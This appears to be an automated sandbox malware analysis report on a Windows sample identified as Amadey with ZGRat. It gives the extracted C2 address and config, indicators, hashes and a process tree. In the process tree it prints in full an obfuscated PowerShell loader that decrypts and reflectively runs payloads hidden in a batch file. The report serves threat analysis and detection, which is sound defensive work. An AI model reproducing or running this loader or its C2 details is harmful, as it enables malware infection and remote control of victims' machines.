Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2024, 04:28

General

  • Target
    ama.exe
  • Size 6.1MB
  • Sample240122-e3nqlagfg4
  • SHA256 49128966da54f55e6fd663f8bb8da56e800de17363a33d53e8fc370e29f34e20
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • amadey

Version
  • 4.15

C2
  • http://185.172.128.63

Attributes
  • install_dir

    6187fcb526

  • install_file

    Dctooux.exe

  • strings_key

    cd3b2619c9009c441355ae581d53163e

  • url_paths

    /v8sjh3hs8/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Loads dropped DLL 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\ama.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2908
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
            5⤵
              PID:732
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1156
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 728
        2⤵
        • Program crash
        PID:2576

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          DoNothing.cmd

          • Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
          • Size 229KB
          • SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
          • Size 72KB
          • SHA256 08aec539e9588739592d2786661a41cd2247c44a5854a74a6909e303ad5e1cc4
          • MD5 SHA1 SHA512 SSDEEP

          CabCDCC.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\CabCDCC.tmp
          • Size 65KB
          • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
          • MD5 SHA1 SHA512 SSDEEP

          TarCE4C.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\TarCE4C.tmp
          • Size 171KB
          • SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
          • MD5 SHA1 SHA512 SSDEEP

          Protect544cd51a.dll

          • Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
          • Size 742KB
          • SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
          • MD5 SHA1 SHA512 SSDEEP

          memory/1156-76-0x000000006FD80000-0x000000007032B000-memory.dmp

          memory/1156-134-0x000000006FD80000-0x000000007032B000-memory.dmp

          memory/1156-88-0x00000000024B0000-0x00000000024F0000-memory.dmp

          memory/1156-86-0x00000000024B0000-0x00000000024F0000-memory.dmp

          memory/1156-85-0x000000006FD80000-0x000000007032B000-memory.dmp

          memory/1156-135-0x00000000024B0000-0x00000000024F0000-memory.dmp

          memory/2736-26-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-22-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-56-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-48-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-125-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-122-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-20-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-38-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-24-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-28-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

          memory/2736-34-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-30-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-36-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2736-37-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/3032-16-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-99-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-18-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-17-0x0000000007020000-0x0000000007120000-memory.dmp

          memory/3032-1-0x0000000073E00000-0x00000000744EE000-memory.dmp

          memory/3032-15-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-14-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-12-0x0000000000A70000-0x0000000000A80000-memory.dmp

          memory/3032-13-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-11-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-10-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-87-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-100-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-19-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-5-0x0000000006C70000-0x0000000006E02000-memory.dmp

          memory/3032-4-0x0000000005A40000-0x0000000005C70000-memory.dmp

          memory/3032-3-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-126-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-127-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-128-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-129-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-130-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-131-0x0000000007020000-0x0000000007120000-memory.dmp

          memory/3032-132-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-133-0x00000000052E0000-0x0000000005320000-memory.dmp

          memory/3032-2-0x0000000073E00000-0x00000000744EE000-memory.dmp

          memory/3032-0-0x0000000000040000-0x000000000065E000-memory.dmp